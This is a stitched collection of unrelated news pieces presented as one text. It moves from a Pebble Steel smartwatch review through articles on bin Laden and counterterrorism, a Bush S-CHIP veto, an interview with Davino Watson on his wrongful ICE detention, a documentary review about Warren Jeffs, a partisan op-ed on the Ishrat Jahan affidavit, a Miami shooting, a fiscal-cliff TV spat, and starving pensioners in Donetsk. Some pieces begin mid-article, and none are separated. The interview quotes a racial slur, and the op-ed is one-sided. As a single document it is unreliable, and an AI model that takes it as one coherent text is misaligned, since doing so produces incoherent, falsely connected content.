Smartwatches are awesome! Smartwatches look kinda dumb a lot of the time! They don't have to though, and the Pebble Steel is proof. The improved look isn't quite enough to make it the perfect smartwatch, but it goes a long, long way. What Is It? It's pretty much the same Pebble smartwatch that took Kickstarter by storm roughly two years ago, now clad in a suit of stainless steel instead of chintzy plastic. So it's the same LED backlit, 144x168 e-paper display, same four button interface, same 5-7 day battery life, and same relatively simple skill set you saw in the original Pebble. But now it's pretty. Like "wear it with a suit" pretty. At least I think so; I haven't worn a suit in a while. Advertisement Why Does It Matter? Everyone and his brother is putting out a smartwatch, trying to put out the smartwatch, but no one has been able to make something you'd actually want to own yet. Smartwatches fall in a weird gutter; generally classier than the Livestrongishness of your traditional fitness band and with more functionality, but nerdier than, well, pretty much anything else you can put on your wrist. Advertisement But the Pebble Steel manages to be your most wearable smartwatch option. Not only is Pebble a proven (and popular) player in the nascent smartwatch game, but now it's also the prettiest by far. Pebble beat Apple to making a gadget that is actually jewelry. Design Pretty much the only new thing about the Pebble Steel is its design, and man that design is great. The Pebble Steel may not necessarily be your style, but it has style. Respectable style. Style that would almost make it worth wearing even if it didn't also do smarwatchy stuff. Advertisement The actual watch part of the Pebble is a blocky, angular beauty. A bit chunky, but in a purposeful and retro sort of way. Its form is convincingly deliberate, not just "whatever shape you have to make it to fit the stuff inside." The buttons look and feel solid. The black strip around the side helps accent the sheer shiny silveriness of the whole thing. Then there are the bands. Based on the Steel name you'd expect something metal, and yes, that's what you get. A real metal band. Like one you will probably have to take to a jeweler to get fitted. This is a Real Watch. But it's also assertive in a way that may be a turn-off if you're not into mannish, borderline gaudy silver. It also comes in a black version, though, which looks a bit more toned down. Advertisement The Pebble Steel also comes with a leather band out of the box. I went to swap it out for the metal immediately, but in the end I came back around to the softer style. But whichever you choose, the Pebble Steel is the slickest smartwatch out there at the moment. Advertisement Using It Other than how it looks on your wrist, the Pebble Steel is functionally identical to the Pebble Plastic before it. That is to say, it's a relatively simple, stripped-down smartwatch with a less-is-more mentality. The Pebble Steel's main job is to look pretty and show you phone-things on your wrist. The reliability and simplicity of those functions is what makes the Pebble so great. All of the other bells and whistles are just (somewhat lumpy) gravy. Advertisement Pebble offers what is pretty much a perfect execution of the smartwatch dream, with only the tiniest of hitches. Your phone buzzes, there's a second or so delay, you look at your wrist and you know what's up. Simple as that. And now, with the Pebble Steel, you don't have to pay the tax of looking like an idiot wearing a calculator watch. For that, the Pebble Steel performs admirably on both Android and iOS, although Apple owners have a slight ease of use advantage. Unlike iOS 6, which didn't support push notifications for devices like Pebble, iOS 7 plays nice, and the result is totally seamless setup. Pair the device, install any updates, tell it to mirror notifications, and that's it. Advertisement It's easier, but it also means that any application that pushes stuff to notification center is also going to show up on your wrist. You can fix that by disabling apps in notification center entirely, but by default the Pebble is basically just a firehose for your phone, and there's no way to relegate stuff just to your phone without turning it off entirely. Still, this is leaps and bounds better than anything you could do with iOS 6. On Android (where I used my Pebble the most), things are just slightly more granular. You'll need a third party app (like Pebble Notifier) to get notifications for anything beyond the most basic apps. It's a little bit of a hassle, but it offers extra customization too, including the ability to pick and choose exactly which app's notifications you want to come over. In the end, it's pretty much exactly like the Qualcomm Toq. This is a good thing. Advertisement During the time I spent with the Pebble Steel, it basically just melted into my life, in the best possible way. Not having to be self-conscious about how it looked or worry about charging it nightly basically let me treat it just like I would my normal wristwatch (I wear a wristwatch.) With things like the Qualcomm Toq, I'd find myself removing the watch just often enough that it never became The Norm. But after using the Pebble for almost a week, I'm finally all the way in. When my phone buzzes, I look at my wrist whether or not I'm wearing the Pebble. And nine out of ten times I am. Pebble does have some new tricks to go along with the Steel, and they can all be found in the Pebble App Store. Currently iOS only (though coming soon to Android), it lets you install apps and watchfaces right from your phone, whereas previously you had to do some moderately annoying hacker-type garbage to download watch faces from third party sites and side-load them onto the watch. Advertisement That's great, since getting custom watchfaces and little wrist-apps is fun, but for the most part Pebble apps (so far) lean toward the more gimmicky side of smartwatch-itude that's you're better off avoiding. Shake your wrist with the Yelp app to find a random restaurant nearby! Use Foursquare to check into places on your wrist instead of your phone! Snake! Flappy Bird rip-offs! OK, sure. But also: whatever. Like It's puuuuurty. The Pebble Steel's main goal is just to look more respectable than the nerd-toy it is, and it pulls that off wonderfully. Between the two bands included, it's easy to find the setup that works for you. And on top of that, the nice-looking metal body is compatible with just about any other 22mm bands as well. The world is your oyster. Advertisement The Pebble generally does not waste its time trying to do a whole bunch of questionably useful stuff. The Pebble does not have a camera. It does not have a microphone. It does not even have a touchscreen. And for the most part it's better off for it. The Pebble knows what its job is—showing you notifications on your wrist—and mostly concerns itself with that. Yeah, you can download some games on there or whatever if that's the kind of thing you're into now that the Pebble App Store has launched, but it's not founded around the premise of having to have its own app ecosystem. The Pebble Steel just works and looks good doing it. The battery life is measured in days, pretty much a must for any smartwatch worth its salt. The listed life is 5-7 days, and we managed roughly 4. Less than the target, but I was using it a lot. 5 days with more moderate use seems reasonable. It's not enough to go on a trip without a charger or anything, but it's good enough to get you by without having to worry about your watch dying constantly. Just don't lose the proprietary magnetic charger. Advertisement Also it's waterproof to 5 ATM. Not something to actively appreciate every day, but handy! No Like Most of my quibbles with the Pebble are small, but they're magnified all the more considering everything around them is so stupid simple and good. You can't customize how long a notification stays on the screen, for instance. Notifications auto-dismiss after a while, but it takes a little too long, and it's really annoying to be going to glance at the time and finding you have to press a button to get an email out of the way first. It'd be nice to have a customization option there. Advertisement Case in point: I was walking back to the office on lunch eating a piece of pizza and a few emails came in, but I figured I'd look at them later. Then, after a few minutes when I wanted to know what time it was, the screen was clogged with so many notifications that the time wasn't even visible on screen, and to see it I'd have to dismiss my notifications with a button press from my pizza hand. It's hands-full situations like this where the Pebble commits the cardinal smartwatch sin of being a bad watch watch. For all that's great about being a stripped down product, the less is more mentality falls short when it comes to fitness applications. Yes, the Pebble can leech off your phone GPS to track runs or whatever, but that's it. OK, so maybe that's not what the Pebble is for, but with rumors of a health-centric iWatch on the horizon, and more and more fitness trackers that are taking cues from vanilla smartwatches, it feels a more like a deficiency now than it did when the OG plastic Pebble launched. If you don't care about fitness tracking, great. But if you do, it's hard to throw $250 at a device that only covers one half of the wrist-device equation. Advertisement Which brings us to the greater point: The Pebble Steel is essentially old. It's just a new version of one of the first products in the smartwatch boom about two years ago, and things are moving fast. Though the Pebble still holds up, it seems inevitable that there's something better around the bend, and dropping a bunch of money on what's basically old hardware in a quickly evolving field feels dangerous, both to do and to recommend. Advertisement The new Pebble app for iOS—the one with the app store in it—is crap right now. Laggy, freeze-y. That's almost certain to get better with updates, but for now it's a big bummer. Also it's not on Android. But that's coming! Either way, 99.99 percent of what makes the Pebble great has nothing to do with Pebble apps. Should You Buy It? If you want a smartwatch that doesn't look terrible and you want it right now, then sure. The Pebble Steel is pretty much the only option out there that combines the best notifications-on-your-wrist-ness of a smartwatch, the style of a legitimate piece of jewelry, and none of the (stupid) extra bells that make the idea of a wrist-mounted screen look like some expensive toy for a Dick Tracy wannabe. Advertisement Also it really is a great smartwatch. It shows you stuff on your wrist and looks good, which is apparently a surprisingly hard thing to pull off. But $250 for even the best, prettiest smartwatch out there is a bit of a gamble considering what may be coming down the pipe. If you're an Apple kid, it probably pays to wait and see how the whole iWatch thing shakes out. If you're not, there will probably be a Google watch too. Also there's going to be a Pebble 2 someday, and it will (probably) have a Steel version from the get-go. There's not a whole more you need in a smartwatch than what the Pebble Steel already offers except fitness tracking stuff. But that one missing piece can hurt. Advertisement So at the moment, the Pebble Steel is the best, prettiest smartwatch for your money. But it's also new bod on a gadget that's in imminent danger of falling way behind the curve. Pebble Steel Specs Size: 52mm × 36mm × 11.5mm Weight: 38g / 1.34oz with standard band Band size: 22 nm Screen: 1.26-inch, 144 × 168 pixel e-paper display Battery life: 5-7 days Sensors: 3D accelerometer, e-compass capable (with future software updates), Ambient light sensor Price: $250

Even while it was a rumor that President Obama would announce that Osama bin Laden had been killed, Americans began to digest the ramifications, asking, for example, “can I have my airport back please?” Pleasing though it is to have in contemplation, the question is premature. Students of terrorism, such as those who attended our 2009 and 2010 counterterrorism conferences, know that the killing of bin Laden will have little direct effect on the network he spawned. Its indirect, discouraging effect on terrorism is something I mused about in an earlier post. What about the effects on the rest of us, the people and actors in our great counterterrorism policymaking apparatus? Osama bin Laden’s survival helped shore up the mystique of the terrorist supervillain, which has fed counterterrorism excess such as the Transportation Security Administration’s domestic airport security gauntlet. Now that bin Laden is gone, the public will be more willing to carefully balance security and privacy in our free country. By a small, but important margin, courts will be less willing to indulge extravagant government claims about threat and risk. My friends in the national security bureaucracy may honestly perceive the contraction in their power as carelessness about a threat that they have dedicated their professional lives to combating, but the Declaration of Independence touts security only once, and freedom twice, in the phrase “life, liberty, and the pursuit of happiness.” The counterterrorism debate continues.

“I want you to think about that,” Mr. Bush said. “If you’re making up to $83,000 in certain states, you’re eligible for the program, and yet half a million poor children aren’t being helped.” The New York State Legislature this year passed a bill that would have covered children in families with incomes up to 400 percent of the poverty level, or $82,600 for a family of four. The Bush administration rejected New York’s proposal last month, arguing that it would have allowed the substitution of public coverage for private insurance. And despite the president’s statement that “certain states” make children in families with $83,000 incomes eligible, New York is the only state that has expressed a desire to raise its income limit above $80,000. Mr. Bush has offered a plan to spend $5 billion more on S-chip over the next five years, versus the $35 billion in the next half-decade provided in the bill just approved by Congress. The bill that cleared Congress would add about four million children to the roughly six million already covered. The issue has divided Republicans like few others, with several prominent lawmakers who are normally loyal to the White House opposing Mr. Bush on this issue. The bill was approved in the Senate by 67 to 29, with support from 18 Republicans — just enough to guarantee that a veto can be overridden. But the House margin of 265 to 159 is about two dozen short of the two-thirds needed to defeat Mr. Bush’s veto. Democrats have been trying to pressure some Republicans loyal to the president to switch sides. But if the House sustains his veto, Mr. Bush said, he hopes there will be negotiations to get S-chip money to those it “was intended to help first and foremost.” Meanwhile, the issue continues to pit some otherwise loyal Republicans against the Bush administration. Today, for instance, Senators Charles E. Grassley of Iowa and Pat Roberts of Kansas complained in a letter to Health and Human Services Secretary Michael O. Leavitt that the administration was “flatly incorrect” in asserting that the S-chip bill would render the federal government powerless to deny coverage to families in the $83,000 range. And on Tuesday, Senator Orrin G. Hatch, a prominent Republican from Utah, is to appear with Senator Harry Reid of Nevada, the Democratic majority leader, and Speaker Nancy Pelosi, Democrat of California, to call for overriding the president’s veto.

“The sad thing is that there are so many people like me in that system” Davino Watson, US citizen falsely imprisoned by ICE agents, speaks out By Nick Barrickman 4 November 2017 The US Court of Appeals for the Second Circuit decision last month denying Davino Watson, a US citizen held illegally for nearly three-and-a-half years by Immigration and Customs Enforcement (ICE), of any right to sue for damages is a travesty of the judicial process and an attack on democratic rights. Davino Watson The criminal treatment meted out by the government to Watson exposes the decay of basic democratic principles within the United States. It also reveals the fascistic atmosphere being cultivated within the various state immigration and law enforcement agencies, which operate outside of the law even as President Donald Trump vows to “unshackle” them. Watson previously served time in 2008 for a minor charge when he was detained by ICE agents and the preparations were made for his deportation, a process that would ultimately claim three-and-a-half years of his life. Efforts to provide contact information and documents proving his citizenship were either ignored or mishandled, with Watson being shuffled across the country with no access to the outside world. In 2016, Watson was awarded damages totaling $82,500, compensation for just 27 out of the 1,273 total days of his imprisonment. Last summer, the WSWS reported that even this minor sum had been clawed away from him by the courts, with judges stating that the two-year statute of limitations for suing the government had expired while he was imprisoned. Watson, clearly shaken by this traumatic experience, recently spoke at length with the World Socialist Web Site about his ordeal and the difficulties he has faced as a result. *** Nick Barrickman: You’ve been through a great ordeal. How have you been dealing with the recent court decision? Davino Watson: It’s devastating. There hasn’t been a “sweet moment” since this thing started. It’s been horrible. It hurts to see that the government ignored a lot of things in this case. I told them from the beginning that I am a citizen and showed them evidence, which they ignored. I think that if they would have paid attention I wouldn’t have spent three-and-a-half years in prison. As far as the lawsuit goes, this case is not so much about money, it’s about justice. I don’t feel that there was justice served. And that’s what bothers me the most. They claim the statute of limitations ran out while I was in jail. I have a GED (General Educational Diploma). I didn’t know at the time that I could have put in a lawsuit while fighting for my freedom. You have to think about it. I’m fighting not to be deported; I didn’t have a lawyer during that time. I didn’t have any legal representation. I didn’t know what was happening. The only thing I was trying to do was stay in the country and get out of prison. NB: Can you describe how you were able to get out of that situation of being imprisoned and in the process of being deported? DW: My case was in the Second Circuit, which had reversed the BIA (Board of Immigration Appeals) decision. They had granted me representation from a law firm, Gibson, Dunn & Crutcher, which came on at the end of the case while I was incarcerated. They told me that I had done a good job [defending myself] so far and said they would work out some things for me. I thought the situation was improving. Immediately, ICE started shipping me across the United States. They just told me “pack up.” Next thing you know, I’m on a plane, and then I’m pushed in a van and being dragged down a road in Louisiana. At this point, I didn’t know what was going on. I couldn’t get in contact with my lawyers; I couldn’t get in contact with anyone. Not even phone calls, nothing. Finally, I ended up in Alabama. I was there for about three weeks in a facility in Etowah County. It was a facility where I was told they [would] try to “ship you off” in the middle of the night. I had a cousin’s phone number I had memorized because we had been in communication so much through the whole ordeal. I eventually was able to call her to get word out and she got in touch with my lawyers. Maybe a couple days after I made that call, I was told again to pack up, with no explanation of where I was going. They were like, “You’re free to go.” That was it. No explanation, no money, no identification, nothing. At that time, there was one bus that ran from the location where I was staying. By the time they let me out, the bus had already been gone for nearly two hours. So now I’m stranded, and that was just the beginning of things. NB: How were you treated in these facilities? DW: I must say that my treatment was very bad. From the beginning, when I produced my mother and father, my naturalization certificate, they ignored it. I was locked up in a cell for 23 hours a day, which is very difficult and definitely took a toll on me. It took something away from me. Throughout that I fought because I knew I was fighting for what was right. There were many times that people told me, “Davino, just give up,” and I would say “No! This is not right, I cannot let this happen.” There was an extreme level of racism shown toward me. My lawyers now see that and point it out. During the trial, my lawyer, Mark Flessner, told the judge that he’s been working in the Eastern District for years and has never seen that level of racism. There was one deportation officer, and he came to my trial to testify [against me]. His name was Schraeder. At one point, I said to him: “You know what you’re doing to me is wrong and I’m going to win,” and he said, “I don’t care if you win because you’re just another nigger and all I’m going to do is replace you with somebody else.” I think it boils down to the system. They had all the wrong information--the wrong mother, the wrong father, everything was wrong. I remember throughout the trial, the judge was looking at [the state’s attorneys] like, “How can you be this ignorant with this type of thing?” I remember in 2007, I was in a downstate correctional facility and I was interviewed by ICE agents and gave them all the right information, so they had it all already but failed to investigate any of it. They had my mother and my father’s number, they could have called and asked about me, but they didn’t. Even when I got to Allegany County, near Buffalo, I submitted documents and they failed to even recognize them. That showed me that they didn’t really care. They were like, “You’re just another black man, we’re just going to deport you, we don’t care about you or what you’ve got to say.” One of the most disturbing things that happened was the deposition [at my trial]. A Mr. Joseph A. Marutollo and a Mr. James R. Chow were on the case for the government. They were both very disrespectful throughout the whole trial. During deposition they were asking me questions that had nothing to do with the case. They tried to assassinate my character, asking questions such as, “Why don’t you have kids? Do you have herpes?” and things like that. We were discussing my being locked up. He [Marutollo] pulled out a handbook of the facility I was held at, with little pictures and things, and was like, “I looked at the facility; it doesn’t look that bad to me.” How can you say that? You’ve never even been there. I was locked up 23 hours a day! They tried to make it seem as though I didn’t suffer because the jail was clean! I’m so emotional right now just thinking about it. I remember just crying, I mean crying in front of the whole court room about how I was being treated. I remember the judge. He must have slept through 80 percent of the trial. My lawyers can tell you that, he wasn’t listening to anything. I felt humiliated. I started drinking and got involved with drugs because it affected me so much and I didn’t know how to deal with these things. I mean, three-and-a-half years of my life, 23 hours a day in a cell. Who’s going to be normal after that? They didn’t even apologize afterward. Nobody said “Davino, I’m sorry that this happened to you.” Nothing. Just one humiliation after another. The government actually lied and committed perjury during the case. I’ve made mistakes in my life which I’m not proud of, but I’m also not a menace, which is what they were trying to paint me to be. They forged a document saying that while I was being detained, I was caught with contraband. They forged my name and signature [on the paper]. Why do that? Why sit there, as federal agents, and lie? NB: It’s as if the state operates as a law unto itself. DW: Yes. And the sad thing is that there are so many people like me in that system. They get taken advantage of because they don’t know any better. They don’t have the same luck that I had. There should be legal representation for immigrants as well. NB: Do you have anything you’d like to say to the readers of this article that you’d like them to take from hearing your story? DW: To never give up, to fight. America is what it is because we fought for what we believe in. I believe that the truth will come out about what happened to me. It’s a horrible story. I’m just a human being. I paid for my crimes and my mistakes. To do that twice, it’s insane. It’s something that I’m never going to get back. It changed my life forever. I’ve been trying to get employment and I’ve been unsuccessful because, in my opinion, people don’t even need to run a background check, all they need to do is Google me and see that Watson pled guilty for drug possession ten years ago. I have a GoFundMe page. I’d like you to include that in the article so that I could get some support. NB: Of course. Thank you for your time. We are going to make sure that your story gets seen and heard widely. You have a lot more support than you might realize. DW: Thank you so much for giving me this time to tell my story. Please enable JavaScript to view the comments powered by Disqus.

The documentary tracks the rise and fall of Mr. Jeffs, who in 2002 assumed leadership of the church after the death of his father, Rulon Jeffs. With the on-camera assistance of Mr. Krakauer and Sam Brower, another dogged investigator, Ms. Berg fills in a harrowing portrait of Warren Jeffs as a deluded prophet and serial abuser, especially of girls and women who seem locked in another century. Their old-timey look will be familiar to fans of the HBO drama “Big Love,” about a polygamous family trying to find a middle way between faith and the modern world. In “Prophet’s Prey” there’s little evidence of love in what emerges as a tale of madness and abuse, wealth and criminality, mixed in with anti-government rhetoric — all in in the name of God. Drawing on archival material, landscape beauty shots and testimonials, including from former F.L.D.S. members, Ms. Berg has created an unnerving, sometimes infuriating documentary. She makes smart choices throughout as she weaves together this chronicle of faith and abuse, but her decision to include an audio recording that was used at Mr. Jeffs’s trial of him allegedly molesting a 12-year-old girl was wrong. This decision contrasts sharply with the scene in the documentary “Grizzly Man,” when an on-camera Werner Herzog listens to — but doesn’t share — an audio recording of the mauling death of two people. Mr. Herzog ratcheted up the drama by withholding the recording, but his decision was also a de facto ethical statement about documentary and the uses of the suffering of others. For the most part, though, Ms. Berg gets it right, burying Mr. Jeffs with persuasive witness testimony and documentation. Along the way, she gestures at larger, underexplored issues, including the rise of homegrown religious fundamentalism in the light of rights movements for women and children. Fundamentalist Mormons are having some kind of moment, including in cable shows like “Sister Wives” and documentaries like this one, which is based on Mr. Brower’s 2011 best seller of the same title. More movies are still to come, including an adaptation of “Under the Banner of Heaven” that is being developed by Brian Grazer and Ron Howard, two of the executive producers of “Prophet’s Prey,” and written by a third executive producer, Dustin Lance Black, who wrote for “Big Love.” The story continues.

Former Home Secretary GK Pillai’s admission on Times Now - that an affidavit filed in the alleged “fake encounter” in Gujarat that killed four Lashkar-e-Toiba (LeT) terrorists, including Ishrat Jahan, was deliberately changed under political direction to omit mention of their LeT affiliation - has set the cat among the pigeons. Since this allegation has more or less been admitted by P Chidambaram in an interview to NDTV, it shows the extent to which the Gandhi family saw Narendra Modi as a clear threat to its political domination even as early as 2009 (or even earlier), when the Congress party had just trounced the BJP in the general elections.Chidambaram told NDTV: “The original affidavit did say that A, B, C, D were terrorists, but the IB’s position was we don’t name or charge anyone as terrorists... therefore a second affidavit had to be filed to clarify (that),” and that he “owned the decision” to file the second affidavit. (Read here). What is shocking is not merely that the affidavit was changed, but it was changed in a way that made threats to national security secondary to the political interests of the Gandhi dynasty, Sonia and Rahul. Advertisement The change in the affidavit was wrong in principle for two reasons, even though it is fair to claim that details about the affiliation of those killed by the Gujarat police were not as important as the charge that they were killed in a “fake encounter”. First, who is being killed is not immaterial to how the fake encounter case is finally decided – especially if it leads to conviction. As an analogy, let’s assume a woman is being prosecuted for the murder of her husband. Is it immaterial to let the court know that she was beaten daily and that may be the cause that led to her murdering her husband, assuming it is all provable? Similarly, in a “fake encounter”, who was killed is not an insignificant fact. The court can show leniency even if there is a conviction if it was clear that the persons killed were threats to national security. Second, if Pillai is to be believed, there seems to have been wilful suppression of important national security aspects of the operation, Till the affidavit was changed, the Ishrat-LeT case was considered a successful Intelligence Bureau (IB) operation to lure and trap LeT terrorists, but this success was sacrificed and converted to criminality for political expediency, leading the UPA to finally target even the IB officer involved in the operation as an accused. If the country’s intelligence resources are to be compromised so casually for political purposes, the Gandhi family – or the persons acting in their interest – can indirectly be accused of sacrificing national interest in the pursuit of their political enemies. Advertisement In fact, that is really the point of this article. That the Gandhi-led UPA put an enormous amount of state and party resources to ensure that one man – Narendra Modi – was nailed and prevented from posing a challenge to the family’s political dominance, and the Ishrat Jahan affidavit change was only the most diabolical of those moves. That various non-governmental organisations, the courts and even individual journalists helped in this endeavour shows how the eco-system created by the Congress-Left political forces acts to support the dynasty’s interests. Consider the sheer number of efforts made to get Modi, with efforts beginning almost as soon as the UPA won the 2004 elections. Advertisement #1: The UPA appointed an illegal probe panel under UC Banerjee to examine the Godhra train fire that set off the Gujarat chain of communal riots and killings. Almost on cue, the committee leaked a report claiming the Godhra train fire was an accident. That report never saw the formal light of day, since the Nanavaty commission, which finally confirmed there was a conspiracy to the train fire, had already been appointed to study the whole issue. #2: Goaded by various evangelical organisations and NGOs, the US government revoked a visa application by Narendra Modi to visit the US. #3: Repeated attempts were made by the UPA government to debunk the growth achievements of Gujarat under Modi, with the state’s lag in social indicators being used as a stick to beat the CM with. Advertisement #4: Attempts were made using the spouse of Ehsan Jafri, killed in the Gulbarg Society fire and communal killings, to directly implicate Modi. A pliant police officer, Sanjiv Bhatt, was fished out to claim – several years after the event - that Modi had ordered the police not to intervene in the communal violence following Godhra, when he was not even present at the relevant meeting, with no one corroborating his presence. Bhatt’s wife later fought an election with Congress support, and lost miserably. As I had noted in an earlier post elsewhere, this is how state resources were used to target Modi:. “If the lower courts can’t implicate or nail Modi, try the higher courts; if the higher courts can’t go too far, get another investigation started; if that doesn’t work, move the courts again to appoint a SIT; if the SIT’s report is not enough, try an amicus curiae; if that doesn’t work, try another SIT in another case; if that doesn’t work, try the CBI.” And so it went on and on. One wonders why the courts went so far to humour the wishes of the powers that be. Advertisement #5: The Ishrat Jahan case fitted into this pattern of politicians using state power to target one man. The IB was compromised, state police personnel spent years in jail, and the Gujarat police maligned for a fake encounter that was picked out of several hundred such encounter cases all over the country in order to get Modi. That top politicians in the Congress party made a decision to keep mention of the LeT out of the fake encounter affidavit shows this could not have happened without the Gandhis wanting it. Why would a Chidambaram want to intervene in a random encounter case when he showed no such interest in several other cases? Only the Gujarat encounters mattered, and common sense tells us why. #6: Even while this ammo was being readied, the Congress party came up with another weapon to target Modi – the Communal Violence Bill. The main purpose of the bill was to clearly demarcate the majority community as the likely perpetrators of communal violence, and its most mischievous proposals were two – one, to bring a communally targeted zone out of state government control, and two, to stick a “command responsibility” blame on the political leadership whenever a communal situation occurred. Though the bill could not have been used against Modi for 2002, it was not unthinkable that the party in power at the centre could engineer a riot in a state, and then target the chief minister for not doing his job. What a diabolical move! It ended in the dustbin as other states were opposed to this unconstitutional encroachment on their own law and order powers. Advertisement #7: Post the Gujarat 2012 election, when it became clear that Modi would be the obvious prime ministerial candidate of the BJP, the Congress got Afzal Guru hanged – not without reason – but with the explicit purpose of showing it could be tougher than Modi in hanging anti-nationals. In doing so, it did not even follow the elementary courtesy of notifying Guru’s family that he was to be hanged and buried in Tihar jail. A month before the Gujarat election, Ajmal Kasab, one of the 26/11 jihadis, was hanged just to prove the Congress’ macho nationalism. All subsequent hangings, of Sikh and Tamil terrorists responsible for the murders of a former Punjab CM and Rajiv Gandhi, were put off based on political pressures from the states concerned. This shows that the purpose of the hangings of Kasab and Guru was to show up Modi, and not justice. However, most leaders of the Congress claimed they were against capital punishment once these two terrorists were executed. #8: After Modi formally became PM candidate, two other scandals were dusted up. One was an alleged conversation about yet another Gujarat encounter, where there were references to “safed daadi and kaali daadi” (white and black beard), presumably references to Modi and Amit Shah, and another about the surveillance of a young woman by Shah, assumed to be under Modi’s instructions. Various stings by anti-BJP media outfits targeted Gujarat and the BJP. This is not an exhaustive list of all the ways in which Modi was targeted, but merely an indicative list. Advertisement The point is simple: an extraordinary amount of resources, state and private, was devoted to nailing one man when his alleged lapses were not any different from those of any other CM or political leader of his time. Clearly, it was not about ensuring justice. It was about something else, possibly the extraordinary fears of obsolescence harboured by one political dynasty.

A report has emerged today that police in Miami are investigating three separate shootings which occurred Tuesday night, resulting in the deaths of two juveniles and injuries to two other people. One of the two youths killed was 16-year-old Richard Hallman, a student at Booker T. Washington High School and a member off the school’s football program. Treon Harris, the rising sophomore quarterback for the University of Florida, played football for Booker T. Washington and graduated in 2014. Hallman is apparently his cousin, and Harris is taking the news very hard, as expected. Harris, who started the final six games of the 2014 season for UF, has been posting emotional tributes to Hallman on his Twitter account since last night. Praying For my lil cousin man #CrazyWorld — Treon Harris (@t5_harris) March 24, 2015 Talked to you yesterday, you told me everything was good — Treon Harris (@t5_harris) March 25, 2015 Didn’t drop a tear in so long — Treon Harris (@t5_harris) March 24, 2015 Never thought I could hurt this bad — Treon Harris (@t5_harris) March 25, 2015 Watch over me and guide me lil rich #ThisForYou — Treon Harris (@t5_harris) March 25, 2015 The news has also hit 2015 UF wide receiver signee Antonio Callaway hard. Callaway is a senior at Booker T, and has also posted several messages dedicated to Hallman on Twitter. My lil brother man pic.twitter.com/oOUPUjgtsM — RICH gang (@Ripbobby_G) March 25, 2015 You Said You Was Coming With Me To Gainesville How You Gone Leave Me Hanging Like That Bruh — RICH gang (@Ripbobby_G) March 25, 2015 Just reading those tweets is very heartbreaking. Our thoughts and prayers are with Callaway, Harris and the Hallman family during this difficult time.

The Daily Beast columnist Kirsten Powers took a jab at Congressional Republicans on Monday when she told Fox News Channel’s Bill Hemmer that she thought the GOP was negotiating with President Barack Obama like children. RELATED: John Boehner Claims He Was ‘Flabbergasted’ By Obama’s Fiscal Cliff Proposal: ‘We’re Nowhere’ National Review editor Rich Lowry called the White House’s initial offer to resolve the fiscal cliff was more of an effort by the president to “break and humiliate Republicans.” Powers, meanwhile, thought that the president did not have a partner negotiating in good faith in Congress because Republicans have refused to make a counteroffer. “I find the stuff that the Republicans are saying is really being counterproductive,” Powers said. Hemmer said that the GOP’s counteroffer was their willingness to put added tax revenues on the table. “I’m talking cuts,” Powers said. Hemmer reiterated the Republican party’s position which Powers found incredulous. “Where is their offer,” Powers asked. “If they’re the party of cutting spending, stop talking about some Democrats. Make an offer.” Lowry insisted that Senate Minority Leader Sen. Mitch McConnell (R-KY) has been publically expressing his willingness to deal with the White House on a variety of news programs. “That’s really how you think Republicans should lead is just sit and wait for a call from the president,” Powers asked Lowry. “You don’t think that they should make an actual offer?” “I feel like we’re dealing with a bunch of three-year-olds,” Powers said with frustration. “We’re not going to actually just tell the White House what we want; we’re just going to talk about it publically.” Watch the clip below via Fox News Channel: > >Follow Noah Rothman (@Noah_C_Rothman) on Twitter Have a tip we should know? tips@mediaite.com

Retirees eat in the City of Hope church cafeteria. The church serves one meal a day, which sustains many seniors who have seen the government cut off their pensions. (Photo11: Tatyana Goryachova) DONETSK, Ukraine — Retirees in Donetsk, the largest city in eastern Ukraine held by pro-Russian separatists, are dying of hunger because their pensions have been cut off by the national government, rebel officials and residents say. Though Ukraine has not publicly discussed starvation deaths, it acknowledges there is a humanitarian crisis in the eastern region because of the conflict and blames the separatists and Russia for supporting the rebels. The government cut off pensions this month to people in all areas of eastern Ukraine controlled by separatists to undercut support for pro-Russian rebels. The number of starvation deaths in Donetsk is hard to pin down, largely because the conflict between Ukraine and separatist forces has crippled government functions in the east, including medical and coroners' offices that record causes of deaths. The siege of the city that began in August has led to 40% of the city's 1 million people fleeing. Dmitry Ponomarenko, pastor of the City of Light Protestant church, said he believes the starvation toll is in the hundreds, perhaps thousands. His assessment is based largely on accounts from parishioners and 300 seniors who come to his church daily for a free meal. In one month, they reported more than 100 starvation deaths of pensioners in Donetsk, he said. Dmitry Ponomarenko, pastor of the City of Light church in Donetsk, Ukraine, says churchgoers reported 100 starvation deaths of seniors in one month. He says hundreds are dying of hunger in eastern Ukraine's biggest city. (Photo11: Tatyana Goryachova) The Ukrainian Independent Information Agency, citing aid workers, reported that 22 seniors in Donetsk, mostly single men, died of hunger in September. Irina Prodorova, who volunteers to bring meals to shut-ins, recently found the bodies of two men she had been helping. She said their emaciated condition indicated they died of hunger. Her group has resources to serve only one meal a week to shut-ins, she said. Alexander Zakharchenko, prime minister of the separatists' Donetsk People's Republic, has acknowledged that retirees are dying of hunger. In a meeting with Donetsk city officials Dec. 9, he said, "The main topic of discussion was paying social benefits to elderly and disabled pensioners because they are starving and cannot buy medicine." The average Ukrainian pension is meager — $107 a month — but it can be the difference between life and death for many. A number of aid groups are fighting hunger in Donetsk and other cities in the war zone, including the United Nations Food Program and the charitable foundation of Rinat Akhmetov, Ukraine's richest man, who fled to Kiev when separatists threatened to kill him. These efforts are sporadic and limited to a few thousand people at a time. They don't come anywhere near replacing the pensions. The separatists and Russia have decried the pension cutoff as inhumane. Kiev says rebels and criminals have taken much of the money it sends to the eastern region. The cutoff, announced Nov. 5, means payments will no longer "be stolen by pro-Russian bandits," Prime Minister Arseniy Yatsenyuk said. Donetsk pensioner Mikhail Potyaka, 69, said the only reason he didn't die of starvation recently was because of a neighbor's kindness. He had been going to the City of Light church to get the one meal a day he eats when he caught pneumonia. "I lay in bed delirious for three days while my neighbor took care of me," he said. Although he's better, he said he still has a high temperature because he has no money for medicine. "I don't know what I'll do if I get sick again and can't get to the church for food," he said. "I guess I'll die." Donetsk's mayor in exile, Alexander Lukyanchenko, who fled to Kiev in August after receiving separatist death threats, has criticized the government for the cutoff. The only way for residents of neighboring Donetsk and Luhansk provinces to get their pensions back is to go to a city outside the war zone to re-register for benefits. Many retirees lack the health or money to travel so far from their homes, Lukyanchenko said. Yatsenyuk, the prime minister, said the pensions the government withholds are accruing for the beneficiaries and will be paid once the eastern region is free of separatist control. Ponomarenko, the pastor, and others who help the retirees fear a lot more will succumb to starvation. "We have only enough money to help a few pensioners who are able to walk to our church each day," he said, adding that's a small fraction of the retirees going hungry. Foster reported from Portland, Ore. Read or Share this story: http://usat.ly/1AOa0z8

